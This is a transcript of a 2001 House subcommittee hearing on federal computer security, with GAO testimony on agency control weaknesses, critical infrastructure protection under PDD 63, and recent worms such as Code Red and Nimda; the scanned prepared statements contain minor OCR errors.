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INFORMATION TECHNOLOGY—ESSENTIAL
YET VULNERABLE: HOW PREPARED ARE WE
FOR ATTACKS?

WEDNESDAY, SEPTEMBER 26, 2001

HOUSE OF REPRESENTATIVES,
SUBCOMMITTEE ON GOVERNMENT EFFICIENCY, FINANCIAL
MANAGEMENT AND INTERGOVERNMENTAL RELATIONS,
COMMITTEE ON GOVERNMENT REFORM,
Washington, DC.

The subcommittee met, pursuant to notice, at 10 a.m., in room
2154, Rayburn House Office Building, Hon. Stephen Horn (chair-
man of the subcommittee) presiding.

Present: Representatives Horn and Maloney.

Staff present: J. Russell George, staff director/chief counsel; Eliz-
abeth Johnston, GAO detailee; Darin Chidsey and Matt Phillips,
professional staff members; Mark Johnson, clerk; Jim Holmes, in-
tern; David McMillen, minority professional staff member; and
Jean Gosa, minority clerk.

Mr. HORN. A quorum being present, the hearing of this Sub-
committee on Government Efficiency, Financial Management and
Intergovernmental Relations will come to order.

The horrific events of September 11 were a wake-up call that all
too clearly illustrates this Nation’s vulnerability to attack. We have
known for a long time that airport security was lax, and we did
nothing to fix the problem. Intruders took advantage of that vul-
nerability in ways that for all of us were unimaginable.

We must learn from this experience. But will we? We have
known for several years that our government’s critical computer
systems are as vulnerable as airport security. In 1997, the General
Accounting Office placed the security of the executive branch of the
government’s computers on its high-risk list. In 1998, the Federal
Bureau of Investigation formed its National Infrastructure Protec-
tion Center to gather information on computer threats and issue
timely warnings about those threats. It is now 2001 and the execu-
tive branch has made little progress in addressing computer secu-
rity issues. Are we going to wait until these vital systems are com-
promised—or worse?

During the crisis in New York and Washington, we found that
the Nation’s communication systems were not as strong as they
needed to be. Cellular telephones stopped working. City leaders
were unable to communicate with other officials at all levels. In the
immediate aftermath in New York, broadcast television services
were interrupted. But imagine the repercussions if attacks on the
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Federal Government’s critical computers were equally successful.
National defense, communications, transportation, public health,
and emergency response services across the Nation could be crip-
pled instantly.

In addition to the threat of physical assault, the Nation’s infor-
mation technology systems are already under cyber-assault. Follow-
ing the terrorist attacks on New York and Washington, the
“Nimda” worm attacked computer systems around the world.
Nimda shut down banks in Japan, multinational corporations, and
some government systems in the United States, such as Fairfax
County. On Monday, a new worm was unleashed on computer sys-
tems. This worm is capable of wiping out a computer’s basic system
files. These attacks are increasing in intensity, sophistication, and
potential damage. Is the Nation ready for this type of terrorism?
Will its basic communications and computer infrastructure with-
stand a major assault?

Today, we want to examine these critical issues. We welcome our
witnesses and particularly this panel. You had to come from a
number of places, and we know at the last minute it is tough. We
thank you very much and we will have a very good discussion of
these computer threats and the measures that must be taken to
protect this Nation—its economy, its States, its cities and institu-
tions of higher learning and research—besides Federal depart-
ments States and counties—we will be getting into that later this
year.

[The prepared statement of Hon. Stephen Horn follows:]
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Opening Statement
Chairman Stephen Horn
Subcommittee on Government Efﬁclency,
Fi ial Manag and Information T logy
September 26, 2001

A quorum being present, this hearing of the Subcommitiee on Government Efficiency,
Financial Management and Intergovernmental Relations will come to order,

The horrific events of September 11 were a wake-up call that all too clearly illustrates
this nation's vulnerability to attack. We have known for a long time that airport security was lax,
and we did nothing to fix the problem. Intruders took advantage of that vulnerability in ways
that, for all of us, were unimaginable.

‘We must learn from this experience, but will we? We have known for several years that
our gor s critical computer systems are as vulnerable to attack as airport secwrity. In
1997, the General Accounting Office placed the security of government computers on its
government-wide high-risk list. In 1998, the Federal Burcau of Investigation formed its National
Infrastructure Protection Center to gather information on computer threats and issue timely
warnings about those threats. It is now 2001, and the government has made little progress in
addressing computer security issues. Are we going to wait until these vital systems are
compromised -~ or worse?

During the crises in New York and Washington, we found thet the nation's
communication systems were not as strong as they needed to be, Cellular telephones stopped
working. City leaders were unable to communicate with other officials in the immediate
aftermath. In New York, broadcast television services were interrupted. But imagine the
repercussions if attacks on the federal government’s eritical computers were equally successful.
national defense, communications, transportation, public health and emergency response services
across the nation could be crippled instantly.

In addition to the threat of physical assault, the nation's information technology systems
- are already under cyber-assault. Following the terrorist attacks on New York and Washington,
the “Nimda” worm attacked computer systems around the world. "Nimda" shut down banks in
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Japan, multinational corporations, and some government systems in the United States, such as
Fairfax County. On Monday, a new worm was unleashed on computer systems. This worm is
capable of wiping out a computer’s basic system files. These attacks are increasing in intensity,
sophistication and potential damage. Is the nation ready for this type of terrorism? Will its basic
communications and compufer infrastructure withstand a major assault?

Today, we want to examine these critical issues. We welcome our witnesses who will
discuss these computer threats and the measures that must be taken to protect this nation - its
economy, its states, cities and institutions of higher learning.
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Mr. HORN. So we will now start with the witnesses. And as we've
done many times before, we will start with the representative of
the U.S. General Accounting Office, Joel C. Willemssen, Managing
Director, Information Technology issues.

We have all witnesses accept the oath and I will start with ev-
erybody at this point and we’ll just go down the line. So if you’ll
raise your right hand—and also have your assistants which might
give you paper and all that—let’s do it all at one time. The oath
states do you have the full truth of your testimony you’re about to
give for this and the questions, and if we ask you to do it 2 weeks
from now in terms of a particular thing you want in the book, all
of this is under oath.

[Witnesses sworn.]

Mr. HorN. Thank you very much. When we introduce you, your
full written statement automatically goes in the record, so you
don’t have to ask us to do so. We would like you to, in 5 or 7 min-
utes, to give a summary of your testimony. We give a little—let’s
see, we've got plenty of time here so we could make it 10 minutes.
But we want to get into dialog among you as well as those mem-
bers expected to be here.

So Joel C. Willemssen, Managing Director, Information Tech-
nology Issues, U.S. General Accounting Office, which is presided
over by the Comptroller General of the United States, and it’s part
of the legislative branch. Mr. Willemssen, it’s always good to see
you.

STATEMENT OF JOEL C. WILLEMSSEN, MANAGING DIRECTOR,
INFORMATION TECHNOLOGY ISSUES, U.S. GENERAL AC-
COUNTING OFFICE

Mr. WILLEMSSEN. Thank you, Mr. Chairman. It’s an honor to ap-
pear again before you today and, as requested, I'll briefly summa-
rize our statement on the challenges involved in protecting govern-
meﬂt and privately controlled systems from computer-based at-
tacks.

Overall, our work continues to show that Federal agencies have
serious and widespread computer security weaknesses. These
weaknesses present substantial risks to Federal operations, assets,
and confidentiality. Because virtually all Federal operations are
supported by automated systems and electronic data, the risks are
very high and the breadth of the potential impact is very wide. The
risks cover areas as diverse as taxpayer records, law enforcement,
national defense, and a wide range of benefit programs, and they
cover all major areas of required controls such as access controls
in ensuring service continuity in the face of disasters.

The September 11 tragedies demonstrated just how essential it
is for government and business to be able to continue critical oper-
ations and services during emergency situations. News reports in-
dicate that business continuity and contingency planning has been
a critical factor in restoring operations for New York’s financial dis-
trict with some specifically attributing companies’ preparedness to
the contingency planning efforts associated with the year 2000
challenge.

At the same time, however, our reviews still reveal shortcomings
in Federal agency business continuity planning. Examples of com-
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mon weaknesses include incomplete plans and plans that have not
been fully tested. While a number of factors have contributed to
these weaknesses, and overall weak Federal information security,
we believe the key underlying problem is ineffective security pro-
gram management.

Computer security legislation enacted last year can go a long
way to addressing this underlying problem. The legislation requires
that both agency management and inspector’s general annually
evaluate information security programs. This new annual evalua-
tion and reporting process is an important mechanism previously
missing for holding agencies accountable for the effectiveness of
their security programs.

Beyond the risks with Federal agency systems, the Federal Gov-
ernment has begun to address the threat of attacks on our Nation’s
computer-dependent critical infrastructures such as electric power.
A prior Presidential Directive known as PDD63 outlined a govern-
mentwide strategy to address this. However, progress in imple-
menting this directive has been limited. For example, while out-
reach by numerous Federal entities to establish cooperative rela-
tionships with private organizations in key infrastructure sectors
has raised an awareness and prompted some information sharing,
efforts to perform analyses of sector and cross-sector vulnerabilities
have been limited. In addition, a key element of this strategy was
establishing the FBI’s National Infrastructure Protection Center
[NIPC], as a focal point for gathering information on threats and
facilitating the Federal Government’s response to computer based
incidents. As we reported earlier this year, the NIPC has initiated
various efforts to carry out this responsibility.

However, we also found that the analytical and information shar-
ing capabilities that were intended had not yet been achieved. A
major impediment to implementing the strategy outlined in PDD63
is the lack of a comprehensive national plan that clearly delineates
the roles and responsibilities of Federal and non-Federal entities
and defines interim objectives. We’ve therefore recommended that
the assistant to the President for National Security Affairs ensure
a more fully defined strategy for computer-based threats be devel-
oped that addresses this impediment. It will obviously be important
that this strategy be coordinated with the counterterrorism efforts
undertaken by the newly established Office of Homeland Security.

Mr. Chairman, that concludes a summary of my statement, and
after the panel is done I'd be pleased to address any questions you
may have. Thank you.

Mr. HOrN. Well, thank you.

[The prepared statement of Mr. Willemssen follows:]
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M. Chairman and Members of the Subcommittee:

1 am pleased to be here today to discuss efforts to protect federal agency
information systems and our nation’s critical computer-dependent infrastructures.
Federal agencies, and other public and private entities, rely extensively on
computerized systems and electronic data to support their missions. Accordingly,
the security of these systems and data is essential to avoiding disruptions in
critical operations, data tampering, fraud, and inappropriate disclosure of
sensitive information. Further, as the Comptroller General stated in testimony last
week, protecting against computer-based attacks on critical infrastructures is an
important aspect of homeland security.’

Today, 1 will provide an overview of our recent reports on federal information
security and critical infrastructure protection. Specifically, I will summarize the
pervasive nature of federal system weaknesses, outline the serious risks to federal
operations, and then detail the specific types of weaknesses identified at federal
agencies. 1 will also discuss the importance of establishing a strong agencywide
security management framework and how new evaluation and reporting
requirements can improve federal efforts. Next, I will provide an overview of the
strategy described in Presidential Decision Directive (PDD) 63 for protecting our
nation’s critical infrastructures from computer-based attacks, Finally, I will
symmarize the results of our recent evaluation of progress in implementing PDD
63, which was issued last week as part of a broader evaluation of federal
counferterrorism efforts.” My summary of PDD 63 progress will also cover the
results of our April report on the National Infrastructure Protection Center
(NIPC), an interagency center housed in the Federal Bureau of Investigation
{FB), which is responsible for providing analysis, warning, and response
capabilities for combating computer-based attacks.

‘Homeland Security: A Framework for Addressing the Nation’s Efforts (GAO-01-1158T,
September 21, 2001).

*Combating Terrorism: Selected Chall and Relased R, ions (GAQ-01-822,
September 20, 2001).

3Critical Protection: Signi; Challe in Developing National Capabiliti

(GA0-01-323, April 25, 2001).

Pagel GAQ-01-1168T



Results in Brief

Because of our government’s and our nation’s reliance on interconnected
computer systems 10 support eritical operations and infrastructures, poor
information security could have potentially devastating implications for our
country. Despite the importance of maintaining the integrity, confidentiality, and
availability of important fedcral computerized operations, federal computer
systems have significant pervasive weaknesses that continue to put critical
operations and assets at risk. In particular, federal agencies continue to have
deficiencies in their entitywide security programs that are critical to their success
in ensuring that risks are understood and that effective controls are selected and
implemented. The new statutory government information security reform
provisions will be a major catalyst for federal agencies to improve their security
program management, To help maintain the momentum that these provisions
have generated, agencies must act quickly to implement swong security program
management.

An array of efforts has been undertaken to implement the national critical
infrastructure protection strategy outlined in PDD 63. However, progress in
certain key areas hag been limited. Outreach efforts by numerous federal entities
to establish cooperative relationships with and among private and other
nonfederal entities have raised awareness and prompted information sharing.
However, efforts to perform substantive analyses of sector-wide and cross-sector
interdependencies and related vulnerabilities have been limited. In addition,
federal agencies have taken initial steps to develop critical infrastructure
protection plans; but, as described above, independent audits continue to identify
persistent, significant weaknesses in their computer-based controls. Further,
although the NIPC has initiated a variety of critical infrastructure protection
efforts that have laid a foundation for future governmentwide efforts, it has not
developed the analytical and information-sharing capabilities that PDD 63
asserfed are needed. Developing such capabilities is a formidable task that
experts say will take an intense interagency effort.

A major impediment to implementing the strategy outlingd in PDD 63 is the Jack
of a national plan that clearly delineates the roles and responsibilities of federal
and nonfederal entities and defines interim objectives. Inour reporton
combating terrorism, issued last week, we recommended that the Assistant to the
President for National Security Affairs ensure that a more fully defined strategy
to address computer-based threats be developed that addresses this impediment,
It will be important that this strategy be coordinated with the counterterroism
efforts undertaken by the newly established Office of Homeland Security.

Page2 GAD-01-1168T
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Background

Dramatic increases in computer interconnectivity, especially in the use of the
Internet, are revolutionizing the way our government, our nation, and much of
the world weate and sonduct bust The benefits have been enormous.
Vast amounts of information are now Hiterally at our fingertips, facilitating
research on virtually every topic imaginable; financial and other business
transactions can be executed almost instantaneously, often on a 24-hour-a-day
basis; and electronic mail, Internet web sites, and computer bulletin boards allow
us to communicate quickly and casily with virfually an unlimited number of
individuals and groups.

In addition to such benefits, however, this widespread interconnectivity poses
significant risks to our computer systers and, more itaportant, to the critical
operations and infrastructures they support. For example, telecommunications,
power distribution, public health, national defense (including the military’s
warfighting capability), law enforcement, government, and emergency services
all depend on the security of their computer operations. Likewise, the speed and
accessibility that create the enormous benefits of the computer age, if not
properly controlled, allow individuals and organizations to nexpensively
cavesdrop on or interfere with these operations from remote locations for
mischievous or malicious purposes, including fraud or sabotage.

Reports of attacks and disruptions are growing. The number of computer security
incidents reported to the CERT Coordination Center® (CERT-CC)* rose from
9,859 in 1999 to 21,756 in 2000. For the first 6 months of 2001, 15,476 incidents
were reported. As the number of individuals with computer skills has increased,
more intrusion or “hacking” tools have become readily available and relatively
easy to use. A potential hacker can literally download tools from the Internet and
“point and click” to start a hack. According to a recent Natiopal Institute of
Standards and Technology publication, hackers post 30 o 40 new tools to
hacking sites on the Internet every month,

Recent attacks over the past 2 months ilfustrate the risks. These attacks referred
to as Code Red, Code Red I, and SirCam, have affected millions of computer
users, shut down Web sites, stowed Internet service, and disrupted business and
government operations. They have already reportedly caused billions of dollars
of damage, and their full effects have yet to be completely assessed. Code Red
attacks have reportedly

(1) caused the White House to change its website address, (2) forced the
Department of Defense (DOD) to briefly shut down its public websites,

(3) infected Treasury’s Fi ial Mar t Service, ing it to disconnect

*CERT Coordination Center® is a center of Internet security expertise located at the Software
Engineering Institute, a federatly funded research and development center operated by Carnegie
Mellon University.

Page3 GAO-61-1168T
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its systems from the Internet, (4) caused outages for users of Qwest’s high-speed
Internet service nationwide, and (5) delayed FedEx package deliveries. Our
testimor;y last month provides further details on the nature and impact of these
attacks.

More recently, the Nimda worm uses some of the most significant attack profile
aspects of Code Red II and 1999’s infamous Melissa virus, allowing it to spread
widely in a short amount of time. This worm modifies web documents (for
example, .htm and .html files) and certain executable files found on the systems it
infects, and creates numerous copies of iiself under various file names. It also
may create a denial of service as a result of network scanning and email
propagation.

These are just the latest episodes. The cost of last year’s ILOVEYOU virus is
now estimated 1o be more than $8 billion. Other incidents reported in 2001
illustrate the problem further:

A hacker group by the name of “PoizonB0x” defaced numerous government web
sites, including those of the Department of Transportation, the Administrative
Office of the U.S. Courts, the National Science Foundation, the National Oceanic
and Atmospheric Administration, the Princeton Plasma Physics Laboratory, the
General Services Administration, the U.8. Geological Survey, the Bureau of
Land Management, and the Office of Science & Technology Policy. {Source:
Attrition.org., March 19, 2001)

The “Russian Hacker Association™ offered over the Internet an e-mail bombing
system that would destroy a person’s “web enemy” for a fee. (Source: UK
Ministry of Defense Joint Security Coordination Center.)

Even before the fragic events of September 11, government officials were
concerned about attacks from individuals and groups with malicious intent, such
as crime, terrorism, foreign intelligence gathering, and acts of war. According to
the FBI, terrorists, transnational criminals, and intelligence services are quickly
becoming aware of and using information exploitation tools such as computer
viruses, Trojan horses, worms, logic bombs, and eavesdropping sniffers that can
destroy, intercept, or degrade the integrity of and deny access to data.” As greater

SInformation Security: Code Red, Code Red II, and SirCam Attacks Highlight Need for Proactive
Measures (GAO-01-1073T, August 29, 2001).

$These terms are defined as follows: Virus: a program that “infects” computer files, usually
executable programs, by inserting a copy of itself into the file. These copies are usually executed
when the “infected” file is loaded into memory, allowing the virus to infact other files. Unlike the
computer worm, a virus requires human invol {usually itting) to prop Trojan
horse: 3 computer program that conceals harmful code. A Trojan horse usually masquerades as 2
useful program that a user would wish to execute. Worm: an independent coroputer program that
reproduces by copying itself fiom one system to another across a network, Unlike computer

Paged GAO-01-11687
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amounts of money are transferred through computer systems, as more sensitive
economic and commercial information is exchanged electronically, and as the
nation’s defense and intelligence communities increasingly rely on commercially
available information technology, the likelihood that information attacks will
threaten vital national interests increases. In addition, the disgruntled
organization insider is a significant threat, since such individuals with little
knowledge about computer intrusions often have knowledge that allows them to
gain unrestricted access and inflict damage or steal assets. Since September 11,
the NIPC has warned of an expected upswing in incidents and encouraged system
administrators to follow best practices to limit the potential damage from any
cyber attacks. In particular, the NIPC warned against political hacking by self-
described “patriot” hackers targeted at those perceived to be responsible for the
terrorist attacks and virus propagation, in which old viruses are renamed to
appear related to recent events.

Weaknesses in Federal Systems

.__2main Pervasive

Since 1996, our analyses of information security at major federal agencies have
shown that federal systems were not being adequately protected from computer-
based threais, even though these systems process, store, and transmit enormous
amounts of sensitive data and are indispensable to many federal agency
operations. In September 1996, we reported that serious weaknesses had been
found at 10 of the 15 largest federal agencies, and we concluded that poor
information security was a widespread federal problem with potentially
devastating consequences.” In 1998 and in 2000, we analyzed audit results for 24
of the larges: federal agencies; both analyses found that all 24 agencies had
significant information security weaknesses.® As a result of these analyses, we

viruses, worms do not require human involvement to propagate. Logic bombs: in programming, a
form of sabotage in which & progra-nmer inserts code that causes the program to perform a
destructive action when some triggering event occurs, such as terminating the programmer’s
ermployment. Sniffer: synonymous with packet sniffer. A program that intercepts routed data and
examines each packet in search of specified information, such as passwords transmitted in clear
text.

R/ ion Security: Op, ities for oved OMB Oversight of Agency Practices
{GAO/AIMD-96-110, September 24, 1996).

Staformation Security: Serious Weaknesses Place Critical Federal Operations and Assets at Risk
(GAO/AIMD-98-92, September 23, 1998); Information Security: Serious and Widespread
Weaknesses Persist at Federal 4gencies (GAO/AIMD-00-295, September 6, 2000).

Page5 GAO-01-1168T
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have identified information security as a governmentwide high-risk issue in
reports to the Congress since 1997—most recently in January 2001.°

CGur most recent analysis, last April, of reports published since July 1999,
continued to show significant weaknesses in federal P systems that put
critical operations and assets at risk."” Weaknesses continued to be reported in
each of the 24 agencies covered by our review, and they covered all six major
areas of general controls—the policies, procedures, and technical controls that
apply to all or a large segment of an entity’s information systems and help ensure
their proper operation. These six aress are (1) security program management,
which provides the framework for ensuring that risks are understood and that
effective controls are selected and properly implemented, (2) access controls,
which ensure that only authorized individuals can read, alter, or delete data, (3)
software development and change controls, which ensure that only authorized
software programs are implemented, (4) segregation of duies, which reduces the
risk that one individual can independently perform inappropriate actions without
detection, {5) operating systems controls, which protect sensitive programs that
support multiple applications from tampering and misuse, and (6) service
continuity, which ensures that computer-dependent operations experience no
significant disruptions.

Our April analysis also showed that the scope of audit work performed has
continued to expand to more fully cover all six major areas of general controls at
each agency. Not surprisingly, this has led to the identification of additional aress
of weakness at some agencies. These increases in reported weaknesses do not
necessarily mean that information security at federal agencies is getting worse.
They more likely indjcate that information security weaknesses are becoming
more fully understood-—an important step toward addressing the overall problem.
Nevertheless, the results leave no doubt that serious, pervasive weakunesses
persist. As auditors increase their proficiency and the body of audit evidence
expands, it is probable that additional significant deficiencies will be identified.

Most of the audits covered in our analysis were performed as part of financial
statement audits. At some agencies with primarily financial missions, such as the
Department of the Treasury and the Social Security Administration, these audits
covered the bulk of mission—related operations. However, at agencies whose
missions are primarily nonfinancial, such as DOD and the Department of Justice,
the audits may provide a less complete picture of the agency’s overall security
posture because the audit objectives focused on the financial statements and did

°High-Risk Series: M and Technology (GAG/HR-97-9, February 1, 1997);
High-Risk Series: An Update {GAQ/HR-99-1, January 1999); High Risk Series: 4n Update (GAC-
01-263, January 2601).
mCompu!er Security: Weaknesses Continue to Place Critical Federal Operarions and Assets at
Risk (GAO-01-600T, April 5, 2001).
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not include evaluations of systems supporting nonfinancial operations, In
response to congressional interest, since fiscal year 1999, we expanded our audit
focus to cover a wider range of nonfinancial operations. We expect this trend to
continue.

Risks to Federal Operations

are Substantial

To fully understand the significance of the weaknesses we identified, it is
necessary to link them to the risks they present to federal operations and assets.
Virtuaily all federal operations are supported by automnated systems and
electronic data, and agencies would find it difficult, if not impossible, to carry out
their missions and account for their resources without these information assets.
Hence, the degree of risk caused by security weaknesses is extremely high.

The weaknesses identified place a broad array of federal operations and assets at
risk of fraud, misuse, and disruption. For example, weakuesses at the Department

‘of the Treasury increase the risk of fraud associated with billions of dollars of

federal payments and collections, and weaknesses at DOD increase the
vulnerabiiity of various military operations. Further, information security
weaknesses place enormous amounts of confidential data, renging from personal
and tax data 1o proprietary business information, at risk of inappropriate
disclosure, For example, in 1999, a Social Security Administration employee
pled guilty to unauthorized access to the administration’s systems. The related
investigation determined that the employee had made many unauthorized queries,
including obtaining earnings information for members of the local business
comrmunity.

More recent audits in 2001 show that serious weaknesses continu¢ tobe a
problem and that critical federal operations and assets remain at risk.

In August, we reported that significant and pervasive weaknesses placed the
Department of Commerce’s systems at risk. Many of these systems are
considered critical to national security, national economic security, and public
health and safety. Nevertheless, we demonstrated that individuals, both within
and outside of Commerce, could gain unauthorized access to Commerce systems
and thereby read, copy, modify, and delete sensitive economic, financial,
personnel, and confidential business data. Moreover, intraders could disrupt the
operations of systems that are critical to the mission of the department.”? Alsc,
Commerce’s inspector general has also reporied significant computer security

Ninformation Security: Weaknesses Place Commerce Data and Operations a1 Serious Risk (GAO-
01-751, August 13, 2001),
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»

weaknesses in several of the department’s bureaus and, in February 2001,
reported multiple material information security weaknesses affecting the
department’s ability to produce aceurate data for financial statements.'?

In July, we reported serious weak in systems maintained by the
Department of Interior’s National Business Center, a facility processing more
than $12 billion annually in payments that place sensitive financial and personnel
information at risk of unauthorized disclosure, critical operations at risk of
disruption, and assets at risk of loss, While Interior has made progress in
correcting previously identified weaknesses, the newly identified weaknesses
impeded the center’s ability to (1) prevent and detect unauthorized changes, (2)
conirol electronic access to sensitive information, and (3) restrict physical access
to sensitive computing areas.”

In March, we reported that although the DOD’s Department-wide Information
Assurance Program had made progress in addressing information assurance, it
had not yet met its goals of integrating information assurance with mission
readiness criteria, enhancing information assurance capabilities and awareness of
departiment personnel, improving monitoring and management of information
assurance operations, and establishing a security infrastructure. Asa
result, DOD was unable to accurately determine the status of information security
across the department, the progress of its improvement efforts, or the
effectiveness of its information security initiatives.*

In February, the Department of Health and Human Services® Inspector General
again reported serious control weaknesses affecting the integrity, confidentiality,
and availability of data maintained by the department.'* Most significant were
weaknesses associated with the department’s Centers for Medicare and Medicaid
Services (CMS), formerly known as the Health Care Financing Administration,
which was responsible, during fiscal year 2000, for processing more than $200
billion in Medicare expenditures. CMS relies on extensive data processing
operations at its central office to maintain administrative data, such as Medicare
enrollment, eligibility and paid claims data, and to process all payments for
managed care. Significant weaknesses were also reported for the Food and Drug
Administration and the department’s Division of Financial Operations.

”Depmmem of Commerce’s Fiscal Year 2000 Consolidated Financial Staterents, Inspecior
General Audit Repert No. FSD-12849-1-0001.

Pinfarmation Security: Weak Controls Place Interior's Financial and Other Data at Risk (GAO-
01-615, July 3, 2001).

Y mformation Security: Progress and Challenges to an Effective Defense-wide Information
Assurance Program (GAO-01-307, March 30, 2001).

**Report on the Financial Statement Audt of the Departmens of Health and Human Services for
Fiseal Year 2000, A-17-00-00014, February 26, 2001,
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These types of risks, if inadequately addressed, may limit the government’s
ability to take advantage of new technology and improve federal services through
electronic means. For example, this past February, we reported on serious control
weaknesses in the Internal Revenue Service’s (IRS) electronic filing system,
noting that failure to maintain adequate security could erode public confidence in
electronic filing, jeopardize the Service’s ability to meet its goal of 80 percent of
returns being filed electronically by 2007, and deprive it of financial and other
anticipated benefits,

Specifically, we found that, during the 2000 tax filing sesson, IRS did not
adequately secure access to its electronic filing systems or to the electronically
transmitted tax return data those systems contained. We demonstrated that
unauthorized individuals, both within and outside IRS, could have gained access
to these systems and viewed, copied, modified, or deleted taxpayer data. In
addition, the weaknesses we identified jeopardized the security of the sensitive
business, financial, and taxpayer data on other critical IRS systems that were
connected to the electronic filing systems. The IRS Commissioner has stated that,
in response to recommendations we made, IRS completed corrective action for
all the critical access control vulnerabilities we identified before the 2001 filing
season and that, as a result, the electronic filing systems now satisfactorily meet
critical federal security requirements to protect the taxpayer.'® As part of our
audit follow up activities, we plan to evaluate the effectiveness of IRS” corrective
actions,

Addressing weaknesses such as those we identified in the IRS’s electronic filing
system is especially important in light of the administration’s plans to improve
government services by expanding use of the Internet and other computer-
facilitated operations—collectively referred to as electronic govemment, or B~
government."” Specific initiatives proposed for fiscal year 2002 include
expanding electronic means for {1) providing information to citizens, (2)
handling procurement-related transactions, (3) applying for and managing federal
grants, and (4) providing citizens information on the development of specific
federal rules and regulations. Anticipated benefits include reducing the expense
and difficulty of doing business with the government, providing citizens
improved access to government services, and making government more
transparent and accountable. Success in achieving these benefits will require
agencies and others involved to ensure that the systems supporting E-government
are protected from fraud, inappropriate disclosures, and distuption. Without this
protection, confidence in E-government may be diminished, and the related
benefits never fully achieved.

i Security: IRS ic Filing Systems {GAQ-01-306, February 16, 2001).
""The President’s Management Agend, Fiscal Year 2002, www.whitehouse.gov/omb/budget.
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Control Weaknesses Across

Agencies are Similar

Although the nature of agency operations and their related risks vary, striking
similarities remain in the specific types of general control weaknesses reported
and in their serious adverse impact on an agency’s ability to ensure the infegrity,
availability, and appropriate confidentiality of its computerized operations.
Likewise, similarities exist in the corrective actions they must take. The
following sections describe the six areas of general controls and the specific
weaknesses that have been most widespread at the agencies covered by our
analysis.

Security Program Management

.

Each organization needs a set of management procedures and an organizational
framework for identifying and assessing risks, deciding what policies and
controls are needed, periodically evaluating the effectiveness of these policies
and controls, and acting to address any identified weaknesses. These are the
fundamental activities that allow an organization to manage its information
security risks in a cost effective manner rather than reacting to individual
problems in an ad-hoc mamner only after a violation has been detected or an audit
finding reported.

Despite the importance of this aspect of an information security program, poor
security program management continues to be a widespread problem. Virtually
all the agencies for which this aspect of security was reviewed had deficiencies.
Specifically, many had not (1) developed security plans for major systems based
on risk {2) documented security policies, and (3) implemented a program for
testing and evaluating the effectiveness of the controls they relied on. As a result,
these agencies

were not fully aware of the information security risks to their operations,

had accepted an unknown level of risk by default rather than consciously
deciding what level of risk was tolerable,

had a false sense of security because they were relying on ineffective controls,
and

could not make informed judgments as to whether they were spending too little
or too much of their resources on security.
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Access Controls

Access controls limit or detect inappropriate access to computer resources (data,
equipment, and facilities), thereby protecting these resources against
unauthorized modification, loss, and disclosure. Access controls include physical
protections—such as gates and guards—as well as logical controls, which are
controls built into software that require users to authenticate themselves (through
the use of secret passwords or other identifiers) and limit the files and other
tesources that authenticated users can access and the actions that they execute.
Without adequate access controls, unauthorized individuals, including outside
intruders and former employees, can surreptitiously read and copy sensitive data
and make undetected changes or deletions for malicious purposes or personal
gain. Also, authorized users can intentionally or unintentionally modify or delete
data or execute changes that are outside their span of authority.

For access controls to be effective, they must be properly implemented and
maintained. First, an organization must analyze the responsibilities of individual
computer users to determine what type of access (e.g., read, modify, delete) they
need to fulfill their responsibilities, Then, specific control techniques, such as
specialized access control software, must be implemented to restrict access to
these authorized functions. Such software can be used to limit a user’s activities
associated with specific systems or files and keep records of individual users’
actions on the computer. Finally, access authorizations and related controls must
‘be maintained and adjusted on an ongoing basis to accommodate new and
departing employees, as well as changes in users” responsibilities and related
access needs.

Significant access control weaknesses were reported for all the agencies covered
by our analysis, as shown by the following examples:

Accounts and passwords for individuals no longer associated with the agency
were not deleted or disabled nor were they adjusted for those whose
responsibilities, and thus need to access certain files, changed. As a result, at one
agency, former employees and contractors could still and in many cases did read,
modify, copy, or delete data. At this same agency, even after 160 days of
inactivity, 7,500 out of 30,000 users’ accounts had not been deactivated.

Users were not required to periodically change their passwords.

Managers did not precisely identify and document access needs for individual
users or groups of users. Instead, they provided overly broad access privileges to
very large groups of users. As a result, far more individuals than necessary had
the ability to browse and, sometimes, modify or delete sensitive or critical
information. At one agency, all 1,100 users were granted access to sensitive
system directories and settings. At another agency, 20,000 users had been
provided access to one system without written authorization.
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.

Use of default, easily guessed, and unencrypted passwords significantly
increased the risk of unauthorized access. During testing at one agency, we were
able to guess many passwords based on our knowledge of commonly used
passwords and were able to observe computer users’ keying in passwords and
then use those passwords 10 obtain “high level” system administration privileges.

Software access controls were improperly implemented, resulting in unintended
access or gaps in access-control coverage. At one agency data center, all users,
including programmers and conputer operators, had the ability to read sensitive
production data, increasing the risk that such sensitive information could be
disclosed to unauthorized individuals. Also, at this agency, certain users had the
unrestricted ability to transfer system files across the network, increasing the risk
that unauthorized individuals could gain access to the sensitive data or programs.

To illustrate the tisks associated with poer anthentication and access controls, in
recent years we have begun to incorporate network vulnerability testing into our
audits of information security. Such tests involve attempting~with agency
cooperation—to gain unauthorized access to sensitive files and data by searching
for ways to circumvent existing controls, often from remote locations. Our

ditors have been 1, in almost every fest, in readily gaining
unauthorized access that would allow both internal and external intruders o read,
modify, or delete data for whatever purpose they had in mind. Further, user
activity was inadequately monitored. Also, much of the activity associated with
our intrusion testing has not been recognized and recorded, and the problem
reports that were recorded did not recognize the magnitude of our activity or the
severity of the security breaches we initiated,

Software Development
and Change Controls

Controls over software development and changes prevent unauthorized software
programs or modifications to programs from being implemented. Key aspects of
such controls are ensuring that (1) software changes are properly authorized by
the managers responsible for the agency program or operations that the
application supports, (2) new and modified software programs are tested and
approved before they are implemented, and (3) approved suftware programs are
maintained in carefully controlled libraries to protect them from unauthorized
changes and ensure that different versions are not misidentified.

Such controls can prevent errors in software programming as well as malicious
efforts to insert unauthorized computer program code. Without adequate controls,
incompletely tested or unapproved software can result in erroneous data
processing that, depending on the application, could lead to losses or faulty
outcornes, In addition, individuals could surreptitiously modify software
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L3

programs to include processing steps or features that could later be exploited for
personal gain or sabotage.

“Weaknesses in software program change controls were identified for almost all
the agencies for which these controls were evaluated. Examples of weaknesses in
this area included the following:

Testing procedures were undisciplined and did not ensure that implemented
software operated as intended. For example, at one agency, senior officials
authorized some systems for processing without testing aceess controls to ensure
that they had been implemented and were operating effectively. At another
agency, documentation was not retained to demonstrate user testing and
acceptance.

Implementation procedures did not ensure that only authorized software was
used. In particular, procedures did not ensure that emergency changes were
subsequently tested and formally approved for continued use and that
implementation of “locally developed™ (unauthorized) software programs was
prevented or detected.

Agencies’ policies and procedures frequently did not address the maintenance
and protection of program libraries.

Segregation of Duties

Segregation of duties refers to the policies, procedures, and organizational
structure that help ensure that one individual cannot independently comntral all key
aspects of a process or computer-related operation and thereby conduct
unauthorized actions or gain unauthorized access to assets or records without
detection. For example, cne computer programmer should not be allowed to
independently write, test, and approve program changes.

Although segregation of duties alone will not ensure that only authorized
